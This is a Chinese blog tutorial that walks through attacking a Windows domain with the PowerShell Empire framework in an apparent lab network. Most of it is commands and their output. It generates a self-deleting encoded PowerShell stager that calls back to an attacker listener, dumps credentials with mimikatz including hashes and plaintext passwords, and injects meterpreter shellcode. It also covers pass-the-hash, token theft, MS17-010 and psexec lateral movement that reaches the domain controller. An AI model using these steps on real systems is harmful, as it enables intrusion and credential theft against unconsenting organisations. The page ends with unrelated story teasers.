用Powershell框架Empire进行内网域渗透(一)

前言

自从powershell在windows开始预装之后,就成为Windows内网渗透的好帮手,好处多多:天生免杀、无文件落地、无日志(雾)
于是老外开发了empire框架,毕竟cobalt strike要收费的不是?
功能模块丰富,老外把内网[域]渗透中能用到的都整合进去了:内网探测,提权,凭据获取,横向移动,权限维持。模块那么多,不懂就searchmodule或者[tab]两下。

安装

基于debian系的,如kali或者ubuntu都可以安装。
git clone https://github.com/EmpireProject/Empire.git
在执行安装脚本之前,建议修改软件源和pip源,避免因为网络问题安装失败。
sudo ./setup/install.sh

构建监听器

安装好后执行./empire后就可以用了。
先查看可用的Listener有哪些?[tab]两下就出来了所有可用的。

(Empire: listeners) > uselistener 
dbx           http          http_com      http_foreign  http_hop      http_mapi     meterpreter   onedrive      redirector

通过info查看指定模块的配置信息

  • http[s],用http[s]进行交互。
  • http_com,使用IE的COM组件进行交互。
  • http_foreign,这个跟http看不出差别在哪。
  • http_hop,接收到的请求转发到其他的listener,猜测用于C2。
  • dbx|onedrive,使用dropbox或者onedrive作为信息传递的中介,类似QQ空间上线或者weibo上线的远控。
  • http_mapi,通过邮件上线。
  • meterpreter,就不多说了,大家都知道的。

这里还是先使用http的监听,通过set Port 8080修改监听的端口,2.x版必须同时设置Host,然后execute启动监听。

(Empire: listeners/dbx) > back
(Empire: listeners) > uselistener http
(Empire: listeners/http) > set Port 8080
(Empire: listeners/http) > set Name test
(Empire: listeners/http) > execute
[*] Starting listener 'test'
[+] Listener successfully started!

通过list命令查看正在运行的监听

(Empire: listeners) > list
[*] Active listeners:
  Name              Module          Host                                 Delay/Jitter   KillDate
  ----              ------          ----                                 ------------   --------
  test              http            http://192.168.99.240:8080           5/0.0

可以通过usestager来生成文件,引诱对方运行,可以看到支持linux、Windows、osx。

(Empire: listeners) > usestager
multi/bash            osx/application       osx/macho             windows/bunny         windows/launcher_sct
multi/launcher        osx/ducky             osx/macro             windows/dll           windows/launcher_vbs
multi/pyinstaller     osx/dylib             osx/pkg               windows/ducky         windows/macro
multi/war             osx/jar               osx/safari_launcher   windows/hta           windows/teensy
osx/applescript       osx/launcher          osx/teensy            windows/launcher_bat  

这里我们选用launcher_bat,通过info查看可以配置的参数。

(Empire: stager/windows/launcher_bat) > info
Name: BAT Launcher
Description:
  Generates a self-deleting .bat launcher for
  Empire.
Options:
  Name             Required    Value             Description
  ----             --------    -------           -----------
  Listener         True                          Listener to generate stager for.
  OutFile          False       /tmp/launcher.bat File to output .bat launcher to,
                                                 otherwise displayed on the screen.
  Proxy            False       default           Proxy to use for request (default, none,
                                                 or other).
  Language         True        powershell        Language of the stager to generate.
  ProxyCreds       False       default           Proxy credentials
                                                 ([domain\]username:password) to use for
                                                 request (default, none, or other).
  UserAgent        False       default           User-agent string to use for the staging
                                                 request (default, none, or other).
  Delete           False       True              Switch. Delete .bat after running.
  StagerRetries    False       0                 Times for the stager to retry
                                                 connecting.

这里需要注意的是Listener的Name,必须跟前面启用的Listener的一致。

(Empire: stager/windows/launcher_bat) > set Listener test
(Empire: stager/windows/launcher_bat) > execute
[*] Stager output written out to: /tmp/launcher.bat

生成的文件内容是这样子的

@echo off
start /b powershell -noP -sta -w 1 -enc  WwBSAGUARgBdAC4AQQBTAHMAZQBNAEIAbABZAC4ARwBFAHQAVAB5AHAAZQAoACcAUwB5AHM...
start /b "" cmd /c del "%~f0"&exit /b

其中那么一大段的powershell命令,跟(Empire: listeners) > launcher powershell test的执行结果是一样的。这里先不关心怎么让其在别的机子上运行,那是另外的技术活。

Agent回连

用win7的cmd执行了那一串命令后,进程中可以看到有powershell.exe

执行agents命令查看回连的机子,然后interact BNR1T9ZC来与之进行交互。

(Empire) > agents
[*] Active agents:
  Name            Lang  Internal IP     Machine Name    Username            Process             Delay    Last Seen
  ---------       ----  -----------     ------------    ---------           -------             -----    --------------------
  BNR1T9ZC        ps    1.1.1.11        USERUQI-5SKFS8A TEST\user           powershell/2620     5/0.0    2017-08-11 22:50:12
(Empire: agents) > interact BNR1T9ZC

通过help命令可以查看到在agent上可以执行很多命令。这里挑些重要的讲。
bypassuac,顾名思义就是绕过uac的。除非你是本机的administrator,否则普通管理员都需要右键某个程序,然后选择run as administrator才能运行,这都是uac作的怪。
因为这里是用普通域用户权限执行的,连本机的普通管理员都不算,所以失败了。

(Empire: BNR1T9ZC) > bypassuac test
(Empire: BNR1T9ZC) > 
Job started: S8D3ZM
[!] Current user not a local administrator!

sc,屏幕截图命令,可以通过这个了解机子上的人正在做什么。

(Empire: DUL6BFCM) > 
Output saved to ./downloads/DUL6BFCM/screenshot/USERUQI-5SKFS8A_2017-08-12_10-33-57.png

我们看看usemodule还有哪些可用的模块?(有些模块需要对应权限才能成功运行)

(Empire: DUL6BFCM) > usemodule
Display all 193 possibilities? (y or n)
模块名称 作用
code_execution 代码执行?
collection 收集浏览器、剪切板、keepass、文件浏览记录等信息
credentials 密码凭据的获取和转储
exfiltration 信息渗出
exploitation 漏洞溢出
lateral_movement 横向运动移动
management 用来执行些系统设置,和邮件信息的收集
persistence 权限维持
privesc 本机权限提升
recon 侦察
situational_awareness 评估主机运行环境,网络运行环境
trollsploit 恶作剧

输入help agentcmds可以看到可供使用的常用命令

[*] Available opsec-safe agent commands:

     ls, dir, rm, del, cp, copy, pwd, cat, cd, mkdir,  
     rmdir, mv, move, ipconfig, ifconfig, route,       
     reboot, restart, shutdown, ps, tasklist, getpid,  
     whoami, getuid, hostname  

执行ipconfig查看网卡信息(如果不在help列表中,那么会自动执行远程主机上的可用命令)

(Empire: BNR1T9ZC) > ipconfig
(Empire: BNR1T9ZC) > 
Description      : Intel(R) 82574L Gigabit Network Connection
MACAddress       : 00:0C:29:EA:21:46
DHCPEnabled      : False
IPAddress        : 1.1.1.11,fe80::e944:2051:c02f:456
IPSubnet         : 255.255.255.0,64
DefaultIPGateway : 1.1.1.1
DNSServer        : 1.1.1.10
DNSHostName      : USERUQI-5SKFS8A
DNSSuffix        : test.com

可以看到dns的ip是1.1.1.10,既是域控的ip

与metasploit联动

当你获得一个会话之后,又想要派生更多会话,怎么办?

使用invoke_shellcode来注入meterpreter的shellcode

(Empire: BNR1T9ZC) > usemodule code_execution/invoke_shellcode
(Empire: powershell/code_execution/invoke_shellcode) > info
  ProcessID False                                 Process ID of the process you want to   
                                                  inject shellcode into.                  
  Lhost     False                                 Local host handler for the meterpreter  
                                                  shell.                                  
  Agent     True        BNR1T9ZC                  Agent to run module on.                 
  Listener  False                                 Meterpreter/Beacon listener name.       
  Lport     False                                 Local port of the host handler.         
  Shellcode False                                 Custom shellcode to inject,             
                                                  0xaa,0xab,... format.                   
  Payload   False       reverse_https             Metasploit payload to inject            
                                                  (reverse_http[s]).  

metasploit先要设置一个listener

use exploit/mutli/handle
set payload windows/x64/meterpreter/reverse_https

然后empire执行

(Empire: powershell/code_execution/invoke_shellcode) > set Lhost 192.168.99.240
(Empire: powershell/code_execution/invoke_shellcode) > set Lport 8888
(Empire: powershell/code_execution/invoke_shellcode) > execute
Job started: SWCFYD

成功获取meterpreter会话(才怪,empire2.5版本)

在session1建立到1.1.1.0/24网段的路由跳转
run autoroute -s 1.1.1.0/24

通过sesesion1打通网段后,可以看到域控服务器1.1.1.10开放的端口

使用ms17010成功获取meterpreter会话。
至此,域控拿下,可以开始漫游内网。(还是得靠metasploit,单一个empire做的事情很有限)


获取域管理员的明文凭据

用后渗透模块credential_collector收集可用的凭据

empire可以直接使用mimikatz来获取凭据。注意,此时客户端上powershell进程占用的cpu可达90%,会引起卡顿

(Empire: MLGKNRUX) > mimikatz
(Empire: MLGKNRUX) > 
Job started: KCGE61

mimikatz(powershell) # sekurlsa::logonpasswords

Authentication Id : 0 ; 583471 (00000000:0008e72f)
Session           : Interactive from 2
User Name         : user
Domain            : TEST
Logon Server      : WIN-EGQU692VVEO
Logon Time        : 2017/8/12 20:29:49
SID               : S-1-5-21-4238402708-2722160872-2769255546-1107
    msv :   
     [00010000] CredentialKeys
     * NTLM     : 44f077e27f6fef69e7bd834c7242b040
     * SHA1     : 5341b3e05f096263ff537bdcb2cebefef39a167f
     [00000003] Primary
     * Username : user
     * Domain   : TEST
     * NTLM     : 44f077e27f6fef69e7bd834c7242b040
     * SHA1     : 5341b3e05f096263ff537bdcb2cebefef39a167f
    tspkg : 
    wdigest :   
     * Username : user
     * Domain   : TEST
     * Password : abc123!
    kerberos :  
     * Username : user
     * Domain   : TEST.COM
     * Password : (null)
    ssp :   
    credman :   

Authentication Id : 0 ; 322350 (00000000:0004eb2e)
Session           : Interactive from 1
User Name         : Administrator
Domain            : USERUQI-5SKFS8A
Logon Server      : USERUQI-5SKFS8A
Logon Time        : 2017/8/12 20:21:51
SID               : S-1-5-21-2218037576-2376031825-1502863076-500
    msv :   
     [00010000] CredentialKeys
     * NTLM     : 31d6cfe0d16ae931b73c59d7e0c089c0
     * SHA1     : da39a3ee5e6b4b0d3255bfef95601890afd80709
     [00000003] Primary
     * Username : Administrator
     * Domain   : USERUQI-5SKFS8A
     * NTLM     : 31d6cfe0d16ae931b73c59d7e0c089c0
     * SHA1     : da39a3ee5e6b4b0d3255bfef95601890afd80709
    tspkg : 
    wdigest :   
     * Username : Administrator
     * Domain   : USERUQI-5SKFS8A
     * Password : (null)
    kerberos :  
     * Username : Administrator
     * Domain   : USERUQI-5SKFS8A
     * Password : (null)
    ssp :   
    credman :   

creds查看获取的凭据

(Empire: MLGKNRUX) > creds

Credentials:

  CredID  CredType   Domain                   UserName         Host             Password
  ------  --------   ------                   --------         ----             --------
  1       hash       test.com                 user             USERUQI-5SKFS8A  44f077e27f6fef69e7bd834c7242b040
  2       hash       USERUQI-5SKFS8A          Administrator    USERUQI-5SKFS8A  31d6cfe0d16ae931b73c59d7e0c089c0
  3       hash       test.com                 USERUQI-5SKFS8A$ USERUQI-5SKFS8A  fc646d691aaeda35dd5b605d3cbb1ddb
  4       plaintext  test.com                 user             USERUQI-5SKFS8A  abc123!

利用pth来传递hash,用这个hash创建一个新的进程,可以看到新的进程id是3032

(Empire: MLGKNRUX) > pth 1
(Empire: MLGKNRUX) > 
Job started: 5W1GST

Hostname: USERUQI-5SKFS8A.test.com / S-1-5-21-2218037576-2376031825-1502863076
mimikatz(powershell) # sekurlsa::pth /user:user /domain:test.com /ntlm:44f077e27f6fef69e7bd834c7242b040
user    : user
domain  : test.com
program : cmd.exe
impers. : no
NTLM    : 44f077e27f6fef69e7bd834c7242b040
  |  PID  3032
  |  TID  452
  |  LSA Process is now R/W
  |  LUID 0 ; 1042120 (00000000:000fe6c8)
  \_ msv1_0   - data copy @ 0000000000227C20 : OK !
  \_ kerberos - data copy @ 000000000026A148
   \_ aes256_hmac       -> null             
   \_ aes128_hmac       -> null             
   \_ rc4_hmac_nt       OK
   \_ rc4_hmac_old      OK
   \_ rc4_md4           OK
   \_ rc4_hmac_nt_exp   OK
   \_ rc4_hmac_old_exp  OK
   \_ *Password replace -> null
Use credentials/token to steal the token of the created PID.

然后credentials/tokens查看不同用户的进程id

(Empire: powershell/credentials/tokens) > execute

Domain          Username        ProcessId IsElevated TokenType
------          --------        --------- ---------- ---------
TEST            user                  200      False Primary  
NT AUTHORITY    SYSTEM                480       True Primary  
NT AUTHORITY    NETWORK SERVICE      1840       True Primary  
USERUQI-5SKFS8A Administrator        2620       True Primary  

对指定进程steal_token之后,再去与agent交互就是域用户user的权限了。

(Empire: MLGKNRUX) > steal_token 3032
(Empire: MLGKNRUX) > sysinfo: 0|http://192.168.99.165:8080|TEST|user|USERUQI-5SKFS8A|1.1.1.11|Microsoft Windows 7 专业版 |False|powershell|2788|powershell|2
(Empire: agents) > interact MLGKNRUX
Running As: TEST\user

用revtoself再切换回原来的权限(普通域用户权限太低做不了什么)

(Empire: MLGKNRUX) > revtoself
(Empire: MLGKNRUX) > sysinfo: 0|http://192.168.99.165:8080|USERUQI-5SKFS8A|Administrator|USERUQI-5SKFS8A|1.1.1.11|Microsoft Windows 7 专业版 |True|powershell|2788|powershell|2

到这里尝试了好几个situational_awareness/network/powerview的模块返回的都是空结果,看来是需要域管理员才能执行成功。

运气爆棚的时候?

碰巧域管理员也登陆这台机子,那么就能用他的权限做很多事情了。

  5       hash       test.com                 Administrator    USERUQI-5SKFS8A  db1d3b8e9a069f5890339a33328e42a2
  6       plaintext  test.com                 Administrator    USERUQI-5SKFS8A  abc123!@#

也可以使用usemodule management/psinject进行切换,设置好ProcessId即可

(Empire: powershell/management/psinject) > set ProcId 396
(Empire: powershell/management/psinject) > set Listener test
(Empire: powershell/management/psinject) > execute
(Empire: powershell/management/psinject) > 
Job started: VGZL5P
[+] Initial agent E6LKS124 from 192.168.99.179 now active

现在我们又获得了一次域管理员权限,可以开始横向移动了。
先内网探测下可用的机子有哪些,使用了situational_awareness中的三个模块:
find_localadmin_access user_hunter get_domain_controller

(Empire: powershell/situational_awareness/network/powerview/find_localadmin_access) > execute
Job started: FP3Z2W

WIN-EGQU692VVEO.test.com
USERUQI-5SKFS8A.test.com
x-2a37f335db5e4.test.com

(Empire: powershell/situational_awareness/network/powerview/user_hunter) > 
Job started: 3NFBHP

UserDomain      : TEST
UserName        : Administrator
ComputerName    : WIN-EGQU692VVEO.test.com
IPAddress       : 1.1.1.10
SessionFrom     : 
SessionFromName : 
LocalAdmin      : 

UserDomain      : test.com
UserName        : Administrator
ComputerName    : USERUQI-5SKFS8A.test.com
IPAddress       : 1.1.1.11
SessionFrom     : 
SessionFromName : 
LocalAdmin      : 

(Empire: powershell/situational_awareness/network/powerview/get_domain_controller) > execute
Job started: 9D18BM
Forest                     : test.com
CurrentTime                : 2017/8/12 15:15:48
HighestCommittedUsn        : 28748
OSVersion                  : Windows Server 2008 R2 Standard
Roles                      : {SchemaRole, NamingRole, PdcRole, RidRole...}
Domain                     : test.com
IPAddress                  : 1.1.1.10
SiteName                   : Default-First-Site-Name
SyncFromAllServersCallback : 
InboundConnections         : {}
OutboundConnections        : {}
Name                       : WIN-EGQU692VVEO.test.com
Partitions                 : {DC=test,DC=com, CN=Configuration,DC=test,DC=com, C
                             N=Schema,CN=Configuration,DC=test,DC=com, DC=Domain
                             DnsZones,DC=test,DC=com...}

又一次可以确定1.1.1.10就是域控所在了。用lateral_movement/invoke_psexec移动到域控服务器上面。

(Empire: powershell/lateral_movement/invoke_psexec) > set ComputerName WIN-EGQU692VVEO.test.com
(Empire: powershell/lateral_movement/invoke_psexec) > set Listener test
(Empire: powershell/lateral_movement/invoke_psexec) > execute
[>] Module is not opsec safe, run? [y/N] y
(Empire: powershell/lateral_movement/invoke_psexec) > 
Job started: 2C1AG8

[+] Initial agent ZWHA4EPB from 192.168.99.179 now active
(Empire: powershell/lateral_movement/invoke_psexec) > agents
[*] Active agents:

  Name            Lang  Internal IP     Machine Name    Username            Process             Delay    Last Seen
  ---------       ----  -----------     ------------    ---------           -------             -----    --------------------
  MLGKNRUX        ps    1.1.1.11        USERUQI-5SKFS8A *USERUQI-5SKFS8A\Admpowershell/2788     5/0.0    2017-08-12 11:24:56
  E6LKS124        ps    1.1.1.11        USERUQI-5SKFS8A *USERUQI-5SKFS8A\Admcmd/396             5/0.0    2017-08-12 11:24:52
  ZWHA4EPB        ps    1.1.1.10        WIN-EGQU692VVEO *TEST\SYSTEM        powershell/1740     5/0.0    2017-08-12 11:24:54

终于又回到了域控服务器,接下来要考虑的是如何导出域控上面的所有hash,并且维持权限。

最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 212,185评论 6 493
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 90,445评论 3 385
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 157,684评论 0 348
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 56,564评论 1 284
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 65,681评论 6 386
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 49,874评论 1 290
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 39,025评论 3 408
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 37,761评论 0 268
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 44,217评论 1 303
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 36,545评论 2 327
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 38,694评论 1 341
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 34,351评论 4 332
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 39,988评论 3 315
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 30,778评论 0 21
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 32,007评论 1 266
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 46,427评论 2 360
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 43,580评论 2 349

推荐阅读更多精彩内容

  • 一、MSF终端命令 show exploits 列出metasploit框架中所有的渗透攻击模块 show pay...
    Kaen阅读 3,229评论 0 1
  • 1、第八章 Samba服务器2、第八章 NFS服务器3、第十章 Linux下DNS服务器配站点,域名解析概念命令:...
    哈熝少主阅读 3,719评论 0 10
  • 前言 提权何须收集各种EXP,一个MSF就够了,本文为大家带来MSF综合提权的一些姿势。 文章内容: 学习`Met...
    钦玄阅读 9,080评论 1 9
  • Android 自定义View的各种姿势1 Activity的显示之ViewRootImpl详解 Activity...
    passiontim阅读 171,806评论 25 707
  • 出去倒垃圾,远远的看见他---二瞎子 我:出来玩呀,哥哥(我们这习俗,年龄比自己大,但辈分小的都喊哥哥) 他:嗯嗯...
    伊安儿阅读 673评论 0 0